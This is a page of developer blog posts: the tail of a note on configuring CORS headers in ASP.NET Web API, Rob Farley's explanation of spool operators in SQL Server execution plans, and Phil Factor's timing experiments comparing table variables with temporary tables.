} } Please note a few specific additions here: * The header attributes at the class level are required.  Note all of those methods and headers need to be specified but we find it works this way so we aren’t touching it. * Web API will actually deserialize the posted data into the object parameter of the called method on occasion but so far we don’t know why it does and doesn’t. * [HttpOptions] is, again, required for the pre-flight check. * The “Access-Control-Allow-Origin” response header should NOT NOT NOT contain an ‘*’. 3. Headers and Methods and Such We had most of this code in place but found that Chrome and Firefox still did not render the data.  Interestingly enough, Fiddler showed that the GET calls succeeded and the JSON data is returned properly.  We learned that among the headers set at the class level, we needed to add “ACCEPT”.  Note that I accidentally added it to methods and to headers.  Adding it to methods worked but I don’t know why.  We added it to headers also for good measure. [HttpHeader("Access-Control-Allow-Methods", "ACCEPT, PROPFIND, PROPPA... [HttpHeader("Access-Control-Allow-Headers", "Accept, Overwrite, Destin... Next Steps That should do it.  If it doesn’t let us know.  What to do next?  * Don’t hardcode the allowed domains.  Note that port numbers and other domain name specifics will cause problems and must be specified.  If this changes do you really want to deploy updated software?  Consider Miguel Figueira’s approach in the following link to writing a custom HttpHeaderAttribute class that allows you to specify the domain names and then you can do it dynamically.  There are, of course, other ways to do it dynamically but this is a clean approach. http://code.msdn.microsoft.com/windowsdesktop/Implementing-CORS-support-a677ab5d

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• Spooling in SQL execution plans

  - by Rob Farley

  Sewing has never been my thing. I barely even know the terminology, and when discussing this with American friends, I even found out that half the words that Americans use are different to the words that English and Australian people use. That said – let’s talk about spools! In particular, the Spool operators that you find in some SQL execution plans. This post is for T-SQL Tuesday, hosted this month by me! I’ve chosen to write about spools because they seem to get a bad rap (even in my song I used the line “There’s spooling from a CTE, they’ve got recursion needlessly”). I figured it was worth covering some of what spools are about, and hopefully explain why they are remarkably necessary, and generally very useful. If you have a look at the Books Online page about Plan Operators, at http://msdn.microsoft.com/en-us/library/ms191158.aspx, and do a search for the word ‘spool’, you’ll notice it says there are 46 matches. 46! Yeah, that’s what I thought too... Spooling is mentioned in several operators: Eager Spool, Lazy Spool, Index Spool (sometimes called a Nonclustered Index Spool), Row Count Spool, Spool, Table Spool, and Window Spool (oh, and Cache, which is a special kind of spool for a single row, but as it isn’t used in SQL 2012, I won’t describe it any further here). Spool, Table Spool, Index Spool, Window Spool and Row Count Spool are all physical operators, whereas Eager Spool and Lazy Spool are logical operators, describing the way that the other spools work. For example, you might see a Table Spool which is either Eager or Lazy. A Window Spool can actually act as both, as I’ll mention in a moment. In sewing, cotton is put onto a spool to make it more useful. You might buy it in bulk on a cone, but if you’re going to be using a sewing machine, then you quite probably want to have it on a spool or bobbin, which allows it to be used in a more effective way. This is the picture that I want you to think about in relation to your data. I’m sure you use spools every time you use your sewing machine. I know I do. I can’t think of a time when I’ve got out my sewing machine to do some sewing and haven’t used a spool. However, I often run SQL queries that don’t use spools. You see, the data that is consumed by my query is typically in a useful state without a spool. It’s like I can just sew with my cotton despite it not being on a spool! Many of my favourite features in T-SQL do like to use spools though. This looks like a very similar query to before, but includes an OVER clause to return a column telling me the number of rows in my data set. I’ll describe what’s going on in a few paragraphs’ time. So what does a Spool operator actually do? The spool operator consumes a set of data, and stores it in a temporary structure, in the tempdb database. This structure is typically either a Table (ie, a heap), or an Index (ie, a b-tree). If no data is actually needed from it, then it could also be a Row Count spool, which only stores the number of rows that the spool operator consumes. A Window Spool is another option if the data being consumed is tightly linked to windows of data, such as when the ROWS/RANGE clause of the OVER clause is being used. You could maybe think about the type of spool being like whether the cotton is going onto a small bobbin to fit in the base of the sewing machine, or whether it’s a larger spool for the top. A Table or Index Spool is either Eager or Lazy in nature. Eager and Lazy are Logical operators, which talk more about the behaviour, rather than the physical operation. If I’m sewing, I can either be all enthusiastic and get all my cotton onto the spool before I start, or I can do it as I need it. “Lazy” might not the be the best word to describe a person – in the SQL world it describes the idea of either fetching all the rows to build up the whole spool when the operator is called (Eager), or populating the spool only as it’s needed (Lazy). Window Spools are both physical and logical. They’re eager on a per-window basis, but lazy between windows. And when is it needed? The way I see it, spools are needed for two reasons. 1 – When data is going to be needed AGAIN. 2 – When data needs to be kept away from the original source. If you’re someone that writes long stored procedures, you are probably quite aware of the second scenario. I see plenty of stored procedures being written this way – where the query writer populates a temporary table, so that they can make updates to it without risking the original table. SQL does this too. Imagine I’m updating my contact list, and some of my changes move data to later in the book. If I’m not careful, I might update the same row a second time (or even enter an infinite loop, updating it over and over). A spool can make sure that I don’t, by using a copy of the data. This problem is known as the Halloween Effect (not because it’s spooky, but because it was discovered in late October one year). As I’m sure you can imagine, the kind of spool you’d need to protect against the Halloween Effect would be eager, because if you’re only handling one row at a time, then you’re not providing the protection... An eager spool will block the flow of data, waiting until it has fetched all the data before serving it up to the operator that called it. In the query below I’m forcing the Query Optimizer to use an index which would be upset if the Name column values got changed, and we see that before any data is fetched, a spool is created to load the data into. This doesn’t stop the index being maintained, but it does mean that the index is protected from the changes that are being done. There are plenty of times, though, when you need data repeatedly. Consider the query I put above. A simple join, but then counting the number of rows that came through. The way that this has executed (be it ideal or not), is to ask that a Table Spool be populated. That’s the Table Spool operator on the top row. That spool can produce the same set of rows repeatedly. This is the behaviour that we see in the bottom half of the plan. In the bottom half of the plan, we see that the a join is being done between the rows that are being sourced from the spool – one being aggregated and one not – producing the columns that we need for the query. Table v Index When considering whether to use a Table Spool or an Index Spool, the question that the Query Optimizer needs to answer is whether there is sufficient benefit to storing the data in a b-tree. The idea of having data in indexes is great, but of course there is a cost to maintaining them. Here we’re creating a temporary structure for data, and there is a cost associated with populating each row into its correct position according to a b-tree, as opposed to simply adding it to the end of the list of rows in a heap. Using a b-tree could even result in page-splits as the b-tree is populated, so there had better be a reason to use that kind of structure. That all depends on how the data is going to be used in other parts of the plan. If you’ve ever thought that you could use a temporary index for a particular query, well this is it – and the Query Optimizer can do that if it thinks it’s worthwhile. It’s worth noting that just because a Spool is populated using an Index Spool, it can still be fetched using a Table Spool. The details about whether or not a Spool used as a source shows as a Table Spool or an Index Spool is more about whether a Seek predicate is used, rather than on the underlying structure. Recursive CTE I’ve already shown you an example of spooling when the OVER clause is used. You might see them being used whenever you have data that is needed multiple times, and CTEs are quite common here. With the definition of a set of data described in a CTE, if the query writer is leveraging this by referring to the CTE multiple times, and there’s no simplification to be leveraged, a spool could theoretically be used to avoid reapplying the CTE’s logic. Annoyingly, this doesn’t happen. Consider this query, which really looks like it’s using the same data twice. I’m creating a set of data (which is completely deterministic, by the way), and then joining it back to itself. There seems to be no reason why it shouldn’t use a spool for the set described by the CTE, but it doesn’t. On the other hand, if we don’t pull as many columns back, we might see a very different plan. You see, CTEs, like all sub-queries, are simplified out to figure out the best way of executing the whole query. My example is somewhat contrived, and although there are plenty of cases when it’s nice to give the Query Optimizer hints about how to execute queries, it usually doesn’t do a bad job, even without spooling (and you can always use a temporary table). When recursion is used, though, spooling should be expected. Consider what we’re asking for in a recursive CTE. We’re telling the system to construct a set of data using an initial query, and then use set as a source for another query, piping this back into the same set and back around. It’s very much a spool. The analogy of cotton is long gone here, as the idea of having a continual loop of cotton feeding onto a spool and off again doesn’t quite fit, but that’s what we have here. Data is being fed onto the spool, and getting pulled out a second time when the spool is used as a source. (This query is running on AdventureWorks, which has a ManagerID column in HumanResources.Employee, not AdventureWorks2012) The Index Spool operator is sucking rows into it – lazily. It has to be lazy, because at the start, there’s only one row to be had. However, as rows get populated onto the spool, the Table Spool operator on the right can return rows when asked, ending up with more rows (potentially) getting back onto the spool, ready for the next round. (The Assert operator is merely checking to see if we’ve reached the MAXRECURSION point – it vanishes if you use OPTION (MAXRECURSION 0), which you can try yourself if you like). Spools are useful. Don’t lose sight of that. Every time you use temporary tables or table variables in a stored procedure, you’re essentially doing the same – don’t get upset at the Query Optimizer for doing so, even if you think the spool looks like an expensive part of the query. I hope you’re enjoying this T-SQL Tuesday. Why not head over to my post that is hosting it this month to read about some other plan operators? At some point I’ll write a summary post – once I have you should find a comment below pointing at it. @rob_farley

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• Table Variables: an empirical approach.

  - by Phil Factor

  It isn’t entirely a pleasant experience to publish an article only to have it described on Twitter as ‘Horrible’, and to have it criticized on the MVP forum. When this happened to me in the aftermath of publishing my article on Temporary tables recently, I was taken aback, because these critics were experts whose views I respect. What was my crime? It was, I think, to suggest that, despite the obvious quirks, it was best to use Table Variables as a first choice, and to use local Temporary Tables if you hit problems due to these quirks, or if you were doing complex joins using a large number of rows. What are these quirks? Well, table variables have advantages if they are used sensibly, but this requires some awareness by the developer about the potential hazards and how to avoid them. You can be hit by a badly-performing join involving a table variable. Table Variables are a compromise, and this compromise doesn’t always work out well. Explicit indexes aren’t allowed on Table Variables, so one cannot use covering indexes or non-unique indexes. The query optimizer has to make assumptions about the data rather than using column distribution statistics when a table variable is involved in a join, because there aren’t any column-based distribution statistics on a table variable. It assumes a reasonably even distribution of data, and is likely to have little idea of the number of rows in the table variables that are involved in queries. However complex the heuristics that are used might be in determining the best way of executing a SQL query, and they most certainly are, the Query Optimizer is likely to fail occasionally with table variables, under certain circumstances, and produce a Query Execution Plan that is frightful. The experienced developer or DBA will be on the lookout for this sort of problem. In this blog, I’ll be expanding on some of the tests I used when writing my article to illustrate the quirks, and include a subsequent example supplied by Kevin Boles. A simplified example. We’ll start out by illustrating a simple example that shows some of these characteristics. We’ll create two tables filled with random numbers and then see how many matches we get between the two tables. We’ll forget indexes altogether for this example, and use heaps. We’ll try the same Join with two table variables, two table variables with OPTION (RECOMPILE) in the JOIN clause, and with two temporary tables. It is all a bit jerky because of the granularity of the timing that isn’t actually happening at the millisecond level (I used DATETIME). However, you’ll see that the table variable is outperforming the local temporary table up to 10,000 rows. Actually, even without a use of the OPTION (RECOMPILE) hint, it is doing well. What happens when your table size increases? The table variable is, from around 30,000 rows, locked into a very bad execution plan unless you use OPTION (RECOMPILE) to provide the Query Analyser with a decent estimation of the size of the table. However, if it has the OPTION (RECOMPILE), then it is smokin’. Well, up to 120,000 rows, at least. It is performing better than a Temporary table, and in a good linear fashion. What about mixed table joins, where you are joining a temporary table to a table variable? You’d probably expect that the query analyzer would throw up its hands and produce a bad execution plan as if it were a table variable. After all, it knows nothing about the statistics in one of the tables so how could it do any better? Well, it behaves as if it were doing a recompile. And an explicit recompile adds no value at all. (we just go up to 45000 rows since we know the bigger picture now)   Now, if you were new to this, you might be tempted to start drawing conclusions. Beware! We’re dealing with a very complex beast: the Query Optimizer. It can come up with surprises What if we change the query very slightly to insert the results into a Table Variable? We change nothing else and just measure the execution time of the statement as before. Suddenly, the table variable isn’t looking so much better, even taking into account the time involved in doing the table insert. OK, if you haven’t used OPTION (RECOMPILE) then you’re toast. Otherwise, there isn’t much in it between the Table variable and the temporary table. The table variable is faster up to 8000 rows and then not much in it up to 100,000 rows. Past the 8000 row mark, we’ve lost the advantage of the table variable’s speed. Any general rule you may be formulating has just gone for a walk. What we can conclude from this experiment is that if you join two table variables, and can’t use constraints, you’re going to need that Option (RECOMPILE) hint. Count Dracula and the Horror Join. These tables of integers provide a rather unreal example, so let’s try a rather different example, and get stuck into some implicit indexing, by using constraints. What unusual words are contained in the book ‘Dracula’ by Bram Stoker? Here we get a table of all the common words in the English language (60,387 of them) and put them in a table. We put them in a Table Variable with the word as a primary key, a Table Variable Heap and a Table Variable with a primary key. We then take all the distinct words used in the book ‘Dracula’ (7,558 of them). We then create a table variable and insert into it all those uncommon words that are in ‘Dracula’. i.e. all the words in Dracula that aren’t matched in the list of common words. To do this we use a left outer join, where the right-hand value is null. The results show a huge variation, between the sublime and the gorblimey. If both tables contain a Primary Key on the columns we join on, and both are Table Variables, it took 33 Ms. If one table contains a Primary Key, and the other is a heap, and both are Table Variables, it took 46 Ms. If both Table Variables use a unique constraint, then the query takes 36 Ms. If neither table contains a Primary Key and both are Table Variables, it took 116383 Ms. Yes, nearly two minutes!! If both tables contain a Primary Key, one is a Table Variables and the other is a temporary table, it took 113 Ms. If one table contains a Primary Key, and both are Temporary Tables, it took 56 Ms.If both tables are temporary tables and both have primary keys, it took 46 Ms. Here we see table variables which are joined on their primary key again enjoying a  slight performance advantage over temporary tables. Where both tables are table variables and both are heaps, the query suddenly takes nearly two minutes! So what if you have two heaps and you use option Recompile? If you take the rogue query and add the hint, then suddenly, the query drops its time down to 76 Ms. If you add unique indexes, then you've done even better, down to half that time. Here are the text execution plans.So where have we got to? Without drilling down into the minutiae of the execution plans we can begin to create a hypothesis. If you are using table variables, and your tables are relatively small, they are faster than temporary tables, but as the number of rows increases you need to do one of two things: either you need to have a primary key on the column you are using to join on, or else you need to use option (RECOMPILE) If you try to execute a query that is a join, and both tables are table variable heaps, you are asking for trouble, well- slow queries, unless you give the table hint once the number of rows has risen past a point (30,000 in our first example, but this varies considerably according to context). Kevin’s Skew In describing the table-size, I used the term ‘relatively small’. Kevin Boles produced an interesting case where a single-row table variable produces a very poor execution plan when joined to a very, very skewed table. In the original, pasted into my article as a comment, a column consisted of 100000 rows in which the key column was one number (1) . To this was added eight rows with sequential numbers up to 9. When this was joined to a single-tow Table Variable with a key of 2 it produced a bad plan. This problem is unlikely to occur in real usage, and the Query Optimiser team probably never set up a test for it. Actually, the skew can be slightly less extreme than Kevin made it. The following test showed that once the table had 54 sequential rows in the table, then it adopted exactly the same execution plan as for the temporary table and then all was well. Undeniably, real data does occasionally cause problems to the performance of joins in Table Variables due to the extreme skew of the distribution. We've all experienced Perfectly Poisonous Table Variables in real live data. As in Kevin’s example, indexes merely make matters worse, and the OPTION (RECOMPILE) trick does nothing to help. In this case, there is no option but to use a temporary table. However, one has to note that once the slight de-skew had taken place, then the plans were identical across a huge range. Conclusions Where you need to hold intermediate results as part of a process, Table Variables offer a good alternative to temporary tables when used wisely. They can perform faster than a temporary table when the number of rows is not great. For some processing with huge tables, they can perform well when only a clustered index is required, and when the nature of the processing makes an index seek very effective. Table Variables are scoped to the batch or procedure and are unlikely to hang about in the TempDB when they are no longer required. They require no explicit cleanup. Where the number of rows in the table is moderate, you can even use them in joins as ‘Heaps’, unindexed. Beware, however, since, as the number of rows increase, joins on Table Variable heaps can easily become saddled by very poor execution plans, and this must be cured either by adding constraints (UNIQUE or PRIMARY KEY) or by adding the OPTION (RECOMPILE) hint if this is impossible. Occasionally, the way that the data is distributed prevents the efficient use of Table Variables, and this will require using a temporary table instead. Tables Variables require some awareness by the developer about the potential hazards and how to avoid them. If you are not prepared to do any performance monitoring of your code or fine-tuning, and just want to pummel out stuff that ‘just runs’ without considering namby-pamby stuff such as indexes, then stick to Temporary tables. If you are likely to slosh about large numbers of rows in temporary tables without considering the niceties of processing just what is required and no more, then temporary tables provide a safer and less fragile means-to-an-end for you.

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